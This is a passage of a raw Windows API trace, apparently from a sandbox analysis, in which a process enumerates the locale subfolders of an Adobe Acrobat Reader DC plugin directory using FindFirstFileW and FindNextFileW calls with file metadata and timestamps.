ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0275.576] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0275.576] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\ja-jp\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156b0 [0275.576] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.576] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4fb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.576] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4fb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.576] FindClose (in: hFindFile=0x33156b0 | out: hFindFile=0x33156b0) returned 1 [0275.576] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0275.577] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0275.577] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0275.577] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\ko-kr\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315c30 [0275.578] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.578] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.578] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.578] FindClose (in: hFindFile=0x3315c30 | out: hFindFile=0x3315c30) returned 1 [0275.579] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0275.579] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0275.579] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0275.579] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\nb-no\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315970 [0275.579] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.579] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.579] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.579] FindClose (in: hFindFile=0x3315970 | out: hFindFile=0x3315970) returned 1 [0275.580] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0275.580] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0275.580] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0275.580] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\nl-nl\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0275.580] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.580] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.581] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.581] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0275.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0275.581] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0275.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0275.581] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\pl-pl\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315970 [0275.581] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.581] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.582] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.582] FindClose (in: hFindFile=0x3315970 | out: hFindFile=0x3315970) returned 1 [0275.582] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0275.582] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0275.582] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0275.582] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\pt-br\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0275.584] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.585] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.585] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.585] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0275.585] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0275.585] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0275.585] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0275.585] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\ro-ro\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0275.586] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.586] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.587] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.587] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0275.587] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0275.587] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0275.587] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0275.587] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\root\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156b0 [0275.587] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.587] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.588] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.588] FindClose (in: hFindFile=0x33156b0 | out: hFindFile=0x33156b0) returned 1 [0275.588] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0275.588] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0275.588] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0275.588] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 